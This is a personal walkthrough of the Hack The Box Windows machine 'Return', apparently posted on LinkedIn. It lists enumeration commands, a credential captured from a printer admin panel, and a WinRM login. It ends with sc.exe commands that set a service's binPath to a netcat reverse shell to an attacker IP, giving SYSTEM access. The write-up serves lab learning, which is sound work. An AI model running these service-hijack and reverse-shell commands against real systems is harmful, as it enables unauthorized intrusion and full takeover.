My notes on solving 'Return' from Hack The Box.

My notes on solving 'Return' from Hack The Box.

> The machine

Key Concepts: Windows Remote Management (WinRM), SMB (Server Message Block), Enumeration, Printer Admin Panel, Privilege Escalation, Server Operators Group.

Key Commands: winrm, crackmapexec, smbmap, evil-winrm, whoami, net user, sc.exe.

---

Step 1: Identifying the Target

- Port 5985 (WinRM) is open for remote Windows administration.

- Tools like evil-winrm can be used with valid credentials.

- Several open ports, including 445 (SMB).

Step 2: Enumerating the Machine

crackmapexec smb 10.10.11.108        

Step 3: Listing Shared Resources

smbmap -H 10.10.11.108 -u 'null'        

Step 4: Focusing on HTTP Enumeration

cat lognmap | grep http        

Step 5: Identifying Running Services on the web

whatweb https://10.10.11.108        

- It reveals an IIS and a Printer Admin Panel.

Step 6: Exploring the Printer Admin Panel

- Upon checking the website, it's a Printer Admin Panel application.

- In the settings section, a connection to port 389 with a username and password is discovered.

- Set up a listener on your machine and make the service on the target connect to your machine to capture the user's password.

Step 7: Using Credentials with crackmapexec

crackmapexec smb 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!'        

- If crackmapexec responds with a "+", the credentials are valid.

Step 8: Accessing Remote Windows Management (WinRM)

- Since port 5985 (WinRM) is active and valid credentials are available, attempt to connect to the WinRM service using crackmapexec.

- If the response is "Pwn3d!", you have access to the machine.

crackmapexec winrm 10.10.11.108 -u 'svc-printer' -p 'password'        

Step 9: Gaining Access with evil-winrm

- Now that access is confirmed, use the evil-winrm tool to connect to the victim machine.

evil-winrm -i 10.10.11.108 -u 'svc-printer' -p 'password'        

Step 10: Privilege Escalation

- To escalate privileges, check the user's privileges and group membership.

whoami /priv        
net user svc-printer        

- The user is in the "server operators" group.

"server operators" group: This group allows users to run and stop services, which can be exploited for privilege escalation.

Step 11: Creating a Custom Service

- Upload the netcat executable to the victim machine.

upload /home/klinux/Documents/htb/windows/Return/nc64.exe        

- Create a custom service.

sc.exe create reverse binPath="C:\Users\svc-printer\Desktop\nc64.exe -e cmd 10.10.14.23 1234"        

- If creating the service fails, try manipulating the binPath of an existing service.

sc.exe config VMTools binPath="C:\Users\svc-printer\Desktop\nc64.exe -e cmd 10.10.14.23 1234"        

Step 12: Gaining Access as SYSTEM

- Start a listener on your machine on port 1234.

- Stop and then start the manipulated service (VMTools) as the user is in the "server operators" group.

sc.exe stop VMTools
sc.exe start VMTools        

- Gain access as 'nt authority\system'.

Step 13: Obtaining Root Flag

- With SYSTEM privileges, obtain the root flag and conclude the machine.


#hackthebox #infosec #offsec #cybersecurity Hack The Box

要查看或添加评论,请登录

KEVIN VANEGAS的更多文章

  • LittlePivoting-Dockerlabs Walkthrough / WriteUp

    LittlePivoting-Dockerlabs Walkthrough / WriteUp

    Hello everyone, we continue exploring the Dockerlabs DockerLabs platform that I introduced in my previous video! This…

    5 条评论
  • AS-REP roasting with Crackmapexec/NetExec

    AS-REP roasting with Crackmapexec/NetExec

    This new Crackmapexec/NetExec series is a part of the Active Directory Lab series on my channel . With tools like…

  • Vulnerable Active Directory Lab

    Vulnerable Active Directory Lab

    I'm currently learning pentesting techniques for Active Directory, and I've been sharing my progress on YouTube. Today,…

  • Enumeration With BloodHound

    Enumeration With BloodHound

    As a cybersecurity student, I'm constantly seeking ways to expand my knowledge and skill set. Recently, I delved into…

  • Learning About DCSync Attacks in Active Directory

    Learning About DCSync Attacks in Active Directory

    I continued diving into exploitation techniques within Active Directory. Here are the key highlights: 1?? DCSync…

  • Set Up and Test ASREProast and Kerberoasting Attacks

    Set Up and Test ASREProast and Kerberoasting Attacks

    We create a small Active Directory lab using VirtualBox and a Windows Server Standard evaluation. We'll configure it to…

  • Creating a basic bash script

    Creating a basic bash script

    I'll show you how to create your first Bash script to perform a small fuzzing operation with the goal of gaining access…

  • Linux `find` Command

    Linux `find` Command

    ███████████████████████████████ ███ Linux `find` Command ███…

  • Cross-site WebSocket hijacking (CSWSH) | RC4 encryption

    Cross-site WebSocket hijacking (CSWSH) | RC4 encryption

    ?? Cybersecurity Journey Update: Inkplot Challenge Completed on HackMyVM! ?? Watch the video here: Link to Video I took…

  • Dominating 3 Buffer Overflows on a Single Machine

    Dominating 3 Buffer Overflows on a Single Machine

    During my journey, I encountered a host of vulnerabilities, including local file inclusion, log poisoning, and the…

社区洞察

其他会员也浏览了